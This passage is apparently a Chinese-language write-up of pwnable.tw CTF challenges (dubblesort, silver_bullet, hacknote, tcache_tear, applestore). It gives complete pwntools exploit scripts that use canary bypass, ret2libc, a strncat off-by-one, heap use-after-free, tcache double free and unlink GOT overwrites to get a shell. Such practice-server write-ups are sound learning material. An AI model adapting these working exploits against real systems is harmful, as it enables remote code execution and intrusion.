p64(0x4022b4)) # syscall p.sendafter('addr:', str(ADDR_FINI_0)) # fini[0] p.sendafter('data:', p64(ADDR_RET)) p.interactive() ``` * 執行後可順利得到 shell * ![](https://hackmd.io/_uploads/H1rr-bVfp.png) ## dubblesort ### Recon * 不知道為什麼 Ubuntu 18.04 沒辦法執行該題目,因此該題開始環境改用 Kali 2022.3 * 該題目有附 libc,有可能需要 Ret2Lib --- * 先執行程式看看流程 * 詢問名稱 * 詢問要輸入幾個數字 * 依序輸入數字們 * 吐出排序好的數字 * 使用 Ghidra 分析一下 * 名稱讀入 `0x40` 的大小資料 * 接著用 int `n` 紀錄接下來有幾筆數字 * 用一個空間為 `8` 的 array 去存每個數字,方法是用一個 pointer 指向開頭,每次掃完就將 pointer 往後一格 * 接著我們進入排序的部分 * 參數有兩個 `number_array` 與 `input_n` * 先印出 `Processing......` 字串後,sleep 一秒假裝計算 * 如果 `input_n` 為 `1`,直接結束 * 接著掃過 array 一輪,每次比較兩個數字,將數字大的往後移 * 一輪過後,最後一個必為最大數字 * 然後針對前 `n - 1` 個數字重複做,直到只剩一個數字便排序完畢 * 基本上就是氣泡排序 * 最後就將 Array 依序印出,結束程式 ### 漏洞利用 * 可以利用的點有 * 名稱沒有用 `\0` 截斷也沒有判斷長度 * 數字數量可隨意輸入 * 因此 stack 是可以控制的,來確定一下程式防護 * ![](https://hackmd.io/_uploads/H1DHEZSMa.png) * 可以看到具有 canary 保護,因此沒辦法隨意覆蓋 * 那麼我們有兩個需要解決的點 * 如何洩漏目標 lib address * 如何 bypass canary * 首先利用名稱的部分洩漏出 libc address * 先洩漏出 GOT Address,再透過計算位移量來得到 libc base address 和其他所有函數(如 system)的 address * libc Address = GOT Address - Offset * `readelf -S [lib]` * 在本機可以知道 .got.plt 的 address 為 `0021dff4` * ![](https://hackmd.io/_uploads/H1czFMBzp.png) * 而遠端的話則是 `001b0000`,使用給定的 libc 即可得到 * ![](https://hackmd.io/_uploads/ryqadMrMp.png) * 接著透過名稱的地方洩漏 offset * 先輸入 `aaaa` 並用 GDB 觀察一下 stack * ![](https://hackmd.io/_uploads/HJPQpLLMp.png) * 可以看到距離目標相差 `20` 個 byte,因此總共需要 `24` 個字元當作 padding * 其實我不太確定前面那些看起來也像是 address 的值是什麼 * 另外,可以注意到 `0xffffcfb0` 的地方有個 `0a`,那是輸入的 `\n`,代表 leak 出來的 address 還要減掉 `0x0a` 才是正確的 address * 整理一下目前的 payload ```python=1 from pwn import * DEBUG_MODE = True GOT_PLT_OFFSET = 0x1b0000 def setgdb(filename : str): p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p if __name__ == '__main__': if(DEBUG_MODE): p = setgdb('./dubblesort') else: p = remote("chall.pwnable.tw", 10101) p.recv(); p.sendline("a" * 24) leak_address = u32(p.recv()[30:34]) - 0x0a print(hex(leak_address)) p.interactive() ``` * 執行起來可以看到確實吐給我們一個像是地址的東西,雖然不知道正不正確,但先繼續 * ![](https://hackmd.io/_uploads/SyFOyDLza.png) --- * 接下來我們希望利用輸入數字的部分覆蓋掉 `RET` 的目標 Address,讓程式跳到 libc 中的目標 function * 我們先隨便輸入 `1` `2` `3` 做為要排序的數字,然後利用 GDB 檢查與 ebp 相差多少 * 要多少數字才能蓋到 Return address * ![](https://hackmd.io/_uploads/HyQTj5UMa.png) * 透過 `gef config context.nb_lines_stack [NUM]` 改變 stack 顯示的行數 * 透過 `context stack` 顯示 stack * 可以看到第 `33` 個數字才是 Return Address * 我們先將程式跳回 `main` 試試看 * ![](https://hackmd.io/_uploads/S1Sjbj8fa.png) * 可以看到程式顯示 `stack smashing detected` * 這代表該程式包含 canary,只要我們覆蓋掉特定 stack 程式就會錯誤,且我們沒有辦法洩漏出 canary 的值 * 那麼,有沒有辦法只蓋掉想蓋的資料,而保持原先 canary 的資料不變呢 * 試著輸入非法字元看看 * ![](https://hackmd.io/_uploads/rJA6EoLzT.png) * 使用英文字或是 `.` 都會直接結束導致失敗 * 最後發現 `+` 可以繼續輸入,並不會改變 stack 上的值 * ![](https://hackmd.io/_uploads/B1RWBi8zT.png) * 應該是被當作正數了 * 原本想要先 Return 回 `main` 測試看看,但因為數字會被排序,如果 RET 的目標 Address 數字比 Canary 小的話,會導致 Canary 被排序到不同的位置,造成 stack smash * 即便使用了 `+` 維持 stack 值,也要記得不能排序動到 * 同樣的,我原本想要偷懶將前面的數字全部輸入 `+`,這樣就不用找 Canary 在哪裡,但因為 stack 原值不是照大小排序,一樣會動到 canary 導致錯誤,只好找 canary * 但我不會找,手動一個一個嘗試 * Canary 位於 `25` 格的數字 * 所以我們的目標應該是 * 1~24: 1(或是其他小數字,不可大過 canary) * 25: `+` * 26~33: `libc_addr` + `system_addr` * 34: `libc_addr` + `bin/sh_addr` * 由於 `bin/sh` 剛好比 `system` 數字還要大,不會受到排序影響 * system 與 bin/sh 可以直接用 pwntools 的功能取得 * `libc = ELF("./libc_32.so.6")` * `system = libc.sym["system"]` * `binsh = next(libc.search(b'/bin/sh'))` --- * 實際測試之後,本機一直無法成功,應該是因為 link 到不同的 libc 的原因 * 然而連遠端測試都無法成功,只好一個一個部分手動除錯 * 發現最開始輸入名稱的部分需要 `28` 格才能 leak 出 libc address * stack 殘餘值不同導致 * 然後最後的 Return Address 位於第 `34` 格(總共需要 `35` 個數字) * 不知道為什麼 * 最後 exploit: ```python=1 from pwn import * DEBUG_MODE = False GOT_PLT_OFFSET = 0x001b0000 libc = ELF("./libc_32.so.6") def setgdb(filename : str): p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p if __name__ == '__main__': if(DEBUG_MODE): p = setgdb('./dubblesort') GOT_PLT_OFFSET = 0x0021dff4 else: p = remote("chall.pwnable.tw", 10101) p.recv(); p.sendline("a" * 28) leak_address = u32(p.recv()[34:38]) - 0xa print(hex(leak_address)) libc_address = leak_address - GOT_PLT_OFFSET # How many number? p.sendline(str(35)) for i in range(24): p.recvuntil("number : ") p.sendline(str(i)) # Canary bypass p.recvuntil("number : ") p.sendline('+') system = libc.sym["system"] binsh = next(libc.search(b'/bin/sh')) for _ in range(9): p.recvuntil("number : ") p.sendline(str(system + libc_address)) p.recvuntil("number : ") p.sendline(str(binsh + libc_address)) print(hex(system)) print(hex(binsh)) p.interactive() ``` ## Silver_bullet ### Recon * 先執行看看程式,看起來像是一款遊戲 * 能夠執行的動作有四種 * 建立銀彈 * 要求輸入子彈描述,根據描述不同會有不同的力量 * 加強銀彈 * 要求輸入子彈描述,根據描述不同會有不同的力量 * 與狼人戰鬥 * 狼人血量具有 `2147483647` * 離開遊戲 * 接著用 Ghidra 分析看看 * 建立子彈時會讀入 `0x30` 的空間,字串多長力量就多少 * 力量會被放在 `bullet + 0x30` 的位置 * 也就是 `bullet` 描述的後面一格 * 增強力量時,`bullet + 0x30` 需要小於 `0x30` * 讀入一個 `0x30 - 目前力量` 長度的字串 * 將該字串用 `strncat` 接到 `bullet` 上面 * 戰鬥就是將血量減去力量 * 勝利時直接結束掉程式 * 離開就離開 * 另外,本程式的讀入是使用自己寫的 `read_input` * 如果結尾是 `\n` 會變成 `\0` * 重點在於如何利用 `strncat` 的特性,在串接完之後會在後面補上一個 `\0` 來攻擊 * 由於 `strncat` 參數並沒有多留一格的空間放最後的 `\0`,這導致當字串串接剛好塞滿時,會發生 overflow * ![](https://hackmd.io/_uploads/BywgWb_Ga.png) * overflow 時,多出來的 `\0` 會剛好蓋在 `bullet + 0x30` 上面,這導致了判斷力量的依據也壞掉,可以無限寫入 * 最後,檢查一下程式的保護權限 * ![](https://hackmd.io/_uploads/rJeh5Qdfa.png) * Full RELRO,因此考慮使用 Ret2libc * 檢查一下是否存在 one_gadget * ![](https://hackmd.io/_uploads/ryh597_fa.png) ### 漏洞利用 * 整體思路是取得無限寫入之後,leak 出 libc Address,然後跳到 one_gadget 上 * 先利用 `strncat` 的漏洞讓 `bullet` 可以無限寫入 * 先輸入 `47` 個 `a` * 再 power up `1` 個 `b` * 接著要覆蓋掉 return address,先用 GDB 確認一下 padding * ![](https://hackmd.io/_uploads/rkE6yVdMa.png) * padding = `7` * 接著我們 leak 出 puts 的 GOT Address * 預期 stack 長這樣 * padding(`7` 格) * `puts@plt`(return address) * `main`(return address for `puts`) * `puts@got`(leak address) * 先測試一下能否正確 leak 出 address ```python=1 from pwn import * DEBUG_MODE = True elf = ELF("./silver_bullet") libc = ELF("/lib32/libc.so.6") # host lib def setgdb(filename : str): p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p if __name__ == '__main__': if(DEBUG_MODE): p = setgdb('./silver_bullet') else: p = remote("chall.pwnable.tw", 10103) # Create p.recv() p.sendline(str('1')) p.recv() p.sendline('a' * 47) # Power up, broke the bullet string p.recv() p.sendline(str('2')) p.recv() p.sendline('b') p.recv() p.sendline(str('2')) p.recv() # padding puts addr main addr puts got p.sendline(b'\xff' * 7 + p32(elf.sym['puts']) + p32(elf.sym['main']) + p32(elf.got['puts'])) p.interactive() ``` * 執行之後發現又回到選單了,回去檢查一下 Ghidra 後,發現只有打倒狼人時會觸發 `return` * 但由於代表力量的那格空間我們也能覆寫,因此在 padding 時用大一點的數字即可 * 執行戰鬥之後可以發現 * ![](https://hackmd.io/_uploads/S1KSh4_f6.png) 1. 成功打倒狼人 2. 成功回到 main 了 3. 印出了 Address * So far so good,我們已經取得 puts GOT address,能夠計算出 libc address,接著我們再重複一次剛剛的動作,這次將 return address 寫成 one_gadget 即可 * 再次測試 ```python=1 from pwn import * DEBUG_MODE = True elf = ELF("./silver_bullet") #libc = ELF('./libc_32.so.6') libc = ELF("/lib32/libc.so.6") # host #one_gadget = 0x3a819 one_gadget = 0x16f3e2 # host def setgdb(filename : str): p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p if __name__ == '__main__': if(DEBUG_MODE): p = setgdb('./silver_bullet') else: p = remote("chall.pwnable.tw", 10103) # Create p.recv() p.sendline(str('1')) p.recv() p.sendline('a' * 47) # Power up, broke the bullet string p.recv() p.sendline(str('2')) p.recv() p.sendline('b') # ROP1 for leak address p.recv() p.sendline(str('2')) p.recv() # padding puts addr main addr puts got p.sendline(b'\xff' * 7 + p32(elf.sym['puts']) + p32(elf.sym['main']) + p32(elf.got['puts'])) # Beat to get return p.recv() p.sendline(str('3')) p.recvuntil('Oh ! You win !!\x0a') puts_addr = u32(p.recv(4)) libc_addr = puts_addr - libc.sym['puts'] # Create p.recv() p.sendline(str('1')) p.recv() p.sendline('a' * 47) # Power up, broke the bullet string p.recv() p.sendline(str('2')) p.recv() p.sendline('b') # ROP2 for one_gadget p.recv() p.sendline(str('2')) p.recv() p.sendline(b'\xff' * 7 + p32(libc_addr + one_gadget)) # Beat to get shell p.recv() p.sendline(str('3')) p.interactive() ``` * 執行後失敗了,但用 GDB 檢查後,程式確實已經執行到想要的位置(`execl`) * ![](https://hackmd.io/_uploads/HJ9LmSdza.png) * 這可能代表本機的 one_gadget 前置條件無法達成,直接遠端看看 * 將 libc 與 one_gadget 換成遠端版本後... * ![](https://hackmd.io/_uploads/B1wCEBuG6.png) * 成功 get shell! ## hacknote * [Pwn Heap Intro](https://hackmd.io/@Zero871015/ryrCG7Yfa) ### Recon * 先執行看看流程 * 執行後出現菜單 1. 新增筆記 * 要求輸入大小 * 要求輸入內容 2. 刪除筆記 * 要求輸入索引 3. 印出筆記 * 要求輸入索引 4. 離開 * 換到 Ghidra 看看 * 程式被 strip 過,從 entry 找到 `main` 後開始分析 * `main` 的整體架構跟上一題 `silver_bullet` 有點像 * 新增筆記的部分 * 最多存在 `5` 個筆記,超過就會印出 `Full` * 如果沒有宣告過空間,建立 `8` 的空間在 `DAT_NOTE + i * 4` 的位置 * 宣告過會直接 exit * 前四 bytes 放入一個 `puts` 的 function address * 這個 `puts` 會把自己後面四格的資料印出 * `read` 筆記大小 `size`,最多 `8` 個 bytes * `read` 一個 `size` 大小的空間,放到後四 bytes * 宣告過會直接 exit * 在後四 bytes 這裡 `read` 內容 * 刪除筆記的部分 * `read` 一個 index * 小於 `0` 或是大於目前筆記數直接 exit * 如果 `DAT_NOTE + i * 4` 含有資料,`free` 掉前四 bytes 和後四 bytes 宣告的空間 * **沒有清空資料,沒有修改筆記大小** * 印出筆記的部分 * `read` 一個 index * 小於 `0` 或是大於目前筆記數直接 exit * 呼叫 note 前面的 `puts` 印出後面的內容 * 刪除不會修改筆記數量,因此我們最多只能 add note `5` 次 * 刪除沒有清空資料,因此有機會可以做 UAF ### 漏洞利用 * 攻擊思路 * 先利用 UAF,修改 `puts` 後面的資料使其 leak 出 libc address * 再利用一次 UAF,修改 `puts` address 去 `system` * 首先創造兩個筆記,創造時包含了 puts_addr 與 content,因此共有四個 chunk * puts_addr 的 chunk 大小固定為 `0x08` * content 的大小要故意與 `0x08` 不同,這邊使用 `0x20` * 接著將兩個筆記都刪除,因此四個 chunk 進入 bin 中 * 兩個是 puts_addr 的(`0x08`),兩個是 context 的(`0x20`) * 再次新增筆記,這次大小故意使用 `0x08`,分配 chunk 時就會將原本是 puts_addr、內容沒有刪除乾淨的 chunk 分配過來 * `0x08` 的第一塊一樣被拿去當 puts_addr 了,另一塊是存放 content * 因為是 fast bin 是 LIFO,所以第一塊的 index 會是 `1`,第二塊會是 `0` * 而我們可以在這邊寫入 `puts` 的 GOT(其實也是可以用其他的 GOT,但習慣用 `puts` 了) * 記得前面的 puts_addr 要放回去,這樣 printNote 的時候才會觸發 * 印出筆記 `0`,取得 GOT,計算進而得出 libc base address * 因為 `0x08` 的 chunk 被我們用完了,我們二次攻擊前要再刪除一次筆記 * 直接刪掉最後新增的筆記 `2`,因為他的兩個 chunk 都是 `0x08`,且因為 free 的順序,具有 puts_addr 是第二個 * 然後再寫入一次 `0x08` 的筆記,內容為利用 libc base address 計算出的 `system()`,並在後面接上 `||sh` 得到 shell * 寫入的地方變成原本放 puts_addr 的地方了 * 最後再次印出筆記 `0`,得到 shell ```python=1 from pwn import * DEBUG_MODE = False elf = ELF('./hacknote') libc = ELF('./libc_32.so.6') puts_addr = 0x0804862b def setgdb(filename : str): p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p def addNote(size, content): p.recvuntil('Your choice :') p.sendline(str('1')) p.recvuntil('Note size :') p.sendline(str(size)) p.recvuntil('Content :') p.sendline(content) def deleteNote(index): p.recvuntil('Your choice :') p.sendline(str('2')) p.recvuntil('Index :') p.sendline(str(index)) def printNote(index): p.recvuntil('Your choice :') p.sendline(str('3')) p.recvuntil('Index :') p.sendline(str(index)) if __name__ == '__main__': if(DEBUG_MODE): p = setgdb('./hacknote') else: p = remote("chall.pwnable.tw", 10102) addNote(0x20, 'aaa') addNote(0x20, 'bbb') deleteNote(0) deleteNote(1) addNote(0x08, p32(puts_addr) + p32(elf.got['puts'])) printNote(0) libc_addr = u32(p.recv(4)) - libc.sym['puts'] deleteNote(2) system_addr = libc_addr + libc.sym['system'] addNote(0x08, p32(system_addr) + b'||sh') printNote(0) p.interactive() ``` ## Tcache Tear * 想說上一題寫了一個 heap 相關的,這次也來一題連著寫 ### Recon * 執行程式看看流程 * 要求輸入名稱 * 出現選單 1. Malloc * 要求輸入大小 * 要求輸入資料 2. Free * 沒有事情發生,回到選單 3. Info * 沒有事情發生,回到選單 4. Exit * 離開程式 * 改用 Ghidra 分析 * 程式被 Strip * `read` `0x20` 的大小到 `DAT_name` * `read` 名稱的部分使用自己寫的 function * 會檢查溢位 * 最後如果是 `\n` 會換成 `\0` * `read` 選單的不是也是另外的 function * 讀入 `0x17` 的資料,轉成 long long * 後面寫成 `readll`,以跟前面的區分 * `Malloc` 的部分 * `size` 也是用 `readll` 讀入 * 當 `size` < `0x100` 才會繼續 * 先分配 `size` 的空間到 `DAT_allo` * 這導致了每次呼叫 `Malloc` 時,`DAT_allo` 會指向不同地址 * 用 `read` 讀入 `size` - `0x10` 的空間 * `Free` 的部分 * 將 `DAT_allo` `free` 掉 * 最多只能 `Free` `7` 次 * `Info` 的部分 * 顯示 `DAT_name` * `exit` 的部分 * 不會 `return`,而是呼叫 `exit` * 比較明顯的漏洞是 `Free` 的部分完全沒有任何防護或判斷,因此存在 double free 的漏洞 * 另外,清空 pointer 後沒有清空,因此可以做 UAF ### 漏洞利用 * 攻擊思路為先 allocate 一次空間後,`free` 兩次,使其在 bin 中指向自己 * 接著再次要空間後修改 fd,使之後拿到的空間為指定的空間,達到任意空間寫入 ```python=1 from pwn import * DEBUG_MODE = False def setgdb(filename : str): p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p def add(size, content): p.recvuntil('choice :') p.sendline(str('1')) p.recvuntil('Size:') p.sendline(str('size')) p.recvuntil('Data:') p.sendline(content) def free(): p.recvuntil('choice :') p.sendline(str('2')) def doublefree(addr, data): add(0x20, 'test') free() free() add(0x20, p64(addr)) add(0x20, 'temp') add(0x20, data) if __name__ == '__main__': if(DEBUG_MODE): p = setgdb('./tcache_tear') else: p = remote("chall.pwnable.tw", 10207) # Name p.recv() p.sendline('zero') doublefree(0x00602060, 'ouo') p.interactive() ``` * 執行後再輸入 `3` 看 Info,可以發現名稱已經被改為 `ouo` 了,代表任意寫入成功 * 值得注意的是,在本機因為 libc 版本過新,會跳出 double free 的錯誤 * ![](https://hackmd.io/_uploads/HkiK2UjfT.png) * 可以透過在中間 free 其他塊來 bypass * 但是這題 free 位置固定,所以無法使用 --- * 我們已經能夠任意寫入了,但存在一些限制 * 因為 `free` 只能 `7` 次,因此寫入次數是有限制的 * 再來,我們的目標是建構出 RCE 的流程 1. 拿到 libc address 2. 取得 shell * 對於 libc address,由於我們整個程式可控的 output 只能透過 `info`,因此我們的目標是使 `DAT_name` 存在能洩漏 libc 的資訊 * 而這個 libc 的資訊,我們利用 bin 中的 linked-list 會指向 arena 的特性來取得 * bin 我們使用 unsorted bin 來利用,因為其他是單向的 * 也就是說,我們希望將一個 chunk 故意丟入 unsorted bin 之中,然後我們讀取 chunk 中的 arena address 來計算 libc address * 要將 chunk 故意丟入 unsorted bin 之中,使用到 house of spirit 的技巧,這必須符合幾個條件 * fake chunk 位於 `DAT_name` 上面,這樣我們才能利用 info 把資料印出來 * chunk size > `0x408`,這樣才不會掉到 tcache 或是 fastbin * next chunk 的 prev_inuse 必須為 `1`,才不會被合併 * 為了達成以上條件,我們理想中的 heap 應該長成這樣 * chunk 1 -- DAT_name * 0 * 0x501 (size + prev_inuse) * chunk 2 -- DAT_name + 0x500 * 0 * 0x21 (size + prev_inuse) * 0 * 0 * chunk 3 -- 反正就是接在 chunk 2 且長的一樣 * 最後我們再針對 `DAT_name + 0x10` 的位址再寫入一次,將指標移到上面方便我們 free 掉預先做好的 fake chunk * 如此一來,`DAT_name` 應該就會被我們丟到 unsorted bin 之中,我們可以呼叫 info 將 arena 印出來 * arena addr 可以透過 ghidra 分析 libc 中的 `malloc_trim` 得到 * ![](https://hackmd.io/_uploads/HyoMtlazT.png) ```python=1 from pwn import * DEBUG_MODE = False DAT_NAME = 0x602060 #ARENA_ADDR = 0x04ebc40 ARENA_ADDR = 0x3ebca0 def setgdb(filename : str): p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p def add(size, content): p.recvuntil('choice :') p.sendline(str('1')) p.recvuntil('Size:') p.sendline(str(size)) p.recvuntil('Data:') p.sendline(content) def free(): p.recvuntil('choice :') p.sendline(str("2")) def info(): p.recvuntil('choice :') p.sendline(str("3")) def doublefree(size, addr, data): add(size, 'a') free() free() add(size, p64(addr)) add(size, 'a') add(size, data) if __name__ == '__main__': if(DEBUG_MODE): p = setgdb('./tcache_tear') else: #context.log_level = 'debug' p = remote("chall.pwnable.tw", 10207) # Name p.recv() p.sendline(p64(0) + p64(0x501)) doublefree(0x50, DAT_NAME + 0x500, (p64(0) + p64(0x21) + p64(0) + p64(0)) * 2) doublefree(0x60, DAT_NAME + 0x10, 'a') free() info() p.recvuntil("Name :") p.recv(0x10) libc = u64(p.recv(8)) - ARENA_ADDR print(hex(libc)) p.interactive() ``` --- * 現在已經得到 libc address 了,最後一部是進一步從 libc 之中呼叫到 shell * 然而我們沒辦法使用 RET,因此沒辦法 Ret2lib * 這時候就該使用 hook 了 * 常見的有 `__malloc_hook` 和 `__free_hook` * 我們只要去修改這些 hook function 的值,就能夠在呼叫到對應 function 時去替換功能 * 先檢查一下是否存在 one_gadget,如果有就直接將 `free` hook 到 one_gadget 即可 * ![](https://hackmd.io/_uploads/rJ440xpzp.png) * 修改 `__free_hook` 的方式一樣使用 doublefree 即可 ```python=1 from pwn import * DEBUG_MODE = False libc = ELF('./libc-18292bd12d37bfaf58e8dded9db7f1f5da1192cb.so') DAT_NAME = 0x602060 #ARENA_OFFSET = 0x04ebc40 ARENA_OFFSET = 0x3ebca0 def setgdb(filename : str): p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p def add(size, content): p.recvuntil('choice :') p.sendline(str('1')) p.recvuntil('Size:') p.sendline(str(size)) p.recvuntil('Data:') p.sendline(content) def free(): p.recvuntil('choice :') p.sendline(str("2")) def info(): p.recvuntil('choice :') p.sendline(str("3")) def doublefree(size, addr, data): add(size, 'a') free() free() add(size, p64(addr)) add(size, 'a') add(size, data) if __name__ == '__main__': if(DEBUG_MODE): p = setgdb('./tcache_tear') else: #context.log_level = 'debug' p = remote("chall.pwnable.tw", 10207) # Name p.recv() p.sendline(p64(0) + p64(0x501)) doublefree(0x50, DAT_NAME + 0x500, (p64(0) + p64(0x21) + p64(0) + p64(0)) * 2) doublefree(0x60, DAT_NAME + 0x10, 'a') free() info() p.recvuntil("Name :") p.recv(0x10) libc_addr = u64(p.recv(8)) - ARENA_OFFSET free_hook = libc_addr + libc.sym['__free_hook'] doublefree(0x70, free_hook, p64(libc_addr + 0x4f322)) p.interactive() ``` * 最後再次呼叫 `free` 即可得到 shell --- ### 問題 * 比較奇怪的是,我查看 libc 的 Arena offset 應該為 `004ed8e0`,但是一直不成功 * 最後看了別人的 write-up,卻發現 offset 為 `0x3ebca0`,這部分待確認 ## applestore ### Recon * 執行程式看看狀況 * 執行後會有 Menu 出現,可以做幾件事情 1. 看商品 2. 加到購物車 3. 移出購物車 4. 列出購物車 5. 結帳 6. 離開 * 一樣換到 Ghidra * 沒有 strip * `main` 的地方先分配了 `0x10` 的空間 * Menu 出現後,讀取了 `0x15` 的資料作為選擇輸入,並轉為 int * `read` 的部分有另外寫 function,會將最後一個字設為 `\0` * 如果輸入 `1 ~ 6` 以外的數字,有做處理 * 列出商品的部分是打印出固定字串,沒有利用空間 * 加入購物車的部分 * 讀入 `0x15` 的 `int` 輸入 * 根據輸入的數字,`create` 不同的商品 * 這邊的重點在於需要還原 `Cart` struct 會較好分析 * 名稱、價錢、上一個商品、下一個商品 * ![](https://hackmd.io/_uploads/HJ4cmLAG6.png) * ![](https://hackmd.io/_uploads/H1co7IAGa.png) * `create` 會新增一個 `Cart` 實體,將名稱、價錢設定,並且將 linked-list 的前和後指向 `NULL` * 接著將該 `Cart` 用 `insert` 加到 linked-listed `myCart` 之中 * `myCart` 的開頭是空的,`myCart.next` 才是第一個商品 * 最後將商品名稱印出來 * 移出購物車的部分 * 讀入 `0x15` 的 `int` 輸入 * 如果購物車沒東西,直接 return * 接著遍歷 `myCart`,如果到指定的數字,就將前後商品的 `next` 與 `prev` 接到對的位置 * 沒有進行 `free`,也沒有清空指標等等 * 列出購物車的部分 * 讀入 `0x15` 的輸入,如果第一格是 `y` 才會繼續往下 * 遍歷 `myCart` 的 linked-list * 每次印出目前的編號、商品名、價錢 * 計算總和,最後回傳 * 結帳的部分 * 呼叫列出購物車的 function,將總價 `sum` 紀錄下來 * 如果總價等於 `7174`,自動將 `iPhone 8 1$` 加到購物車 * 離開的部分 * 印出離開字串然後 `return` * 在這邊明顯可利用的地方在於總額達到 7174 的時候放入的 iphone cart,並不是另外呼叫 `create` 創造出來的實體,而是直接使用 stack 上的 cart * ![image.png](https://hackmd.io/_uploads/rkE9eKy76.png) * 這導致放入後在 `myCart` 的鍊上存在 stack 的資料,我們便有機會利用該資料 leak 出 libc 的 address ### 漏洞利用 * 先利用 `z3-solver` 求出如何剛好達到 `7174` 元 ``` from z3 import * w = Int('w') x = Int('x') y = Int('y') z = Int('z') solve(w >= 0, x >= 0, y >= 0, z >= 0, 199 * w + 299 * x + 399 * y + 499 * z == 7174) # output: [x = 14, w = 10, z = 2, y = 0] ``` * 由於 iphone 8 的商品是 stack 上的內容,因此離開該 function 後,鏈上的資料就會壞掉 * 可以在 iphone 8 加入之後,再呼叫查看購物車來驗證 * ![image.png](https://hackmd.io/_uploads/SyZizYJXa.png) * 進一步觀察,可以看到這筆資料是在 `ebp - 0x24` 的位置 * ![image.png](https://hackmd.io/_uploads/BkQeOJl7a.png) * 由於新增、刪除、列出購物車等等的 function,都和結帳位於 `handle` function 的下一層,因此 stack frame 是同一的位址 * 檢查一下,是否有辦法修改到 `ebp - 0x24` 的 function * 在列出購物車的 `cart` function 中,負責儲存使用者輸入的 `input_choice[22]` 這個變數是 `ebp - 0x26` 的位址 * ![image.png](https://hackmd.io/_uploads/HywquJe7a.png) * 向上 `22` 格的空間是我們可控的,這就包含到 `ebp - 0x24` 的位址 * 而 `input_choice` 在該 function 的檢查只有開頭等於 `y` 會印出資訊,而後面的欄位我們可以任意修改 * 我們將後面修改為 `puts` 的 GOT,藉此 leak libc address ```python=1 from pwn import * DEBUG_MODE = True elf = ELF('./applestore') libc = ELF('/lib32/libc.so.6') # Host def add(num): p.sendlineafter('> ', str('2')) p.sendlineafter('> ', str(num)) def cart(payload): p.sendlineafter('> ', str('4')) p.sendlineafter('> ', payload) def checkout(): p.sendlineafter('> ', str('5')) p.sendlineafter('> ', 'y') def setgdb(filename : str): p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p if __name__ == '__main__': if(DEBUG_MODE): p = setgdb('./applestore') else: p = remote("chall.pwnable.tw", 10104) # Add iphone8 for i in range(14): add(2) for i in range(10): add(1) add(3) add(3) checkout() # Leak glibc addr payload = b'y\x00' + p32(elf.got['puts']) + p32(0) * 3 cart(payload) p.recvuntil('27: ') libc_addr = u32(p.recv(4)) - libc.sym['puts'] print(hex(libc_addr)) p.interactive() ``` * 執行後成功取得 libc address * ![image.png](https://hackmd.io/_uploads/HyE_Sgxmp.png) * 可以在 GDB 輸入 `info proc mappings` 來比對結果是否正確 * ![image.png](https://hackmd.io/_uploads/SyxgjHxlX6.png) --- * 再來我就有點沒想法了,偷偷查了一下別人的 write-up 後才知道接下來的思路 * 洩漏 stack address * 修改 GOT 表 * 洩漏 stack 的部分比較單純,但我知識量不足 * 在 glibc 之中有個叫做 `environ` 的全域變數,用於儲存環境變數 * 而程式執行時,環境變數就放在 stack 上面 * 因此該變數其實儲存的就是 stack 上的某個 address(還是存在 offset) ```python=1 from pwn import * DEBUG_MODE = True elf = ELF('./applestore') libc = ELF('/lib32/libc.so.6') # Host def add(num): p.sendafter('>', str('2')) p.sendafter('Number>', num) def cart(payload): p.sendafter('>', str('4')) p.sendafter('(y/n) >', payload) def checkout(): p.sendafter('>', str('5')) p.sendafter('(y/n) >', 'y') def setgdb(filename : str): p = process(filename) context.terminal = ["tmux", "splitw", "-h"] context.log_level = 'debug' gdb.attach(p) return p if __name__ == '__main__': if(DEBUG_MODE): p = setgdb('./applestore') else: p = remote("chall.pwnable.tw", 10104) libc = ELF('./libc_32.so.6') # Add iphone8 for i in range(14): add('2') for i in range(10): add('1') add('3') add('3') checkout() # Leak glibc addr payload = b'y\x00' + p32(elf.got['puts']) + p32(0) * 3 cart(payload) p.recvuntil('27: ') libc.address = u32(p.read(4)) - libc.sym['puts'] # Leak stack addr payload = b'y\x00' + p32(libc.sym['environ']) + p32(0) * 3 cart(payload) p.recvuntil('27: ') ebp_addr = u32(p.read(4)) print(hex(ebp_addr)) p.interactive() ``` * 這邊看別人 write-up 的時候順便學會 `libc.address` 這種設定方式,後面就不用自己寫 `+ libc_addr` 之類的 * 上面的 exp 其實還不是正確的,因為我們沒有處理 offset * 這邊使用 GDB 確認一下印出來的值和實際的 ebp 差多少 * 我暫停在 `cart` function 之中,然後查看這層 stack frame 的 ebp 與目前的值差多少 * ![image.png](https://hackmd.io/_uploads/BJXbjTem6.png) * ![image.png](https://hackmd.io/_uploads/B12WjTlmT.png) * `0xffec30cc - 0xffec2fa8` 為 `0x124` * 這個值可能會因為 libc 不同而不同 --- * 再來這邊就更難一點了,我們要如何呼叫到 shell? * 我們可以利用 `delete` 內 unlink 的部分進行攻擊,改寫 GOT * 先看一下 `delete` function 的 code * ![image.png](https://hackmd.io/_uploads/HJzxcRg7T.png) * 可以看到第 `30` 行後面是在將 `temp_cart` 這個商品移除時,前後商品的 link 重新設定(unlink) * 而當輸入是 `27` 時,`temp_cart` 在 stack 上且可控,因此這邊的 `next_temp` 與 `prev_temp` 通通可控 * 我們就可以將其中一個改寫成 GOT 中想要修改的 function,另一個改為 ebp 的值,使他們互相覆寫資料 * 需要注意的是,根據 `cart` 的資料結構,`next` 和 `prev` 都有一段 offset,需要計算過後才能設計出預想的攻擊 * 那麼要修改什麼值呢?我們回到 `handle` 看看 * ![image.png](https://hackmd.io/_uploads/BkVJ4Sb7p.png) * 可以看到第 `15` 行使用到 `atoi`,且上面的 `my_read` 可以幫助我們寫入資料去控制 stack 的內容 * 因此我們可以嘗試建構出一個攻擊思路 * 將對應到 `input_choice` 的 stack 區段改寫為 `got['atoi'] - 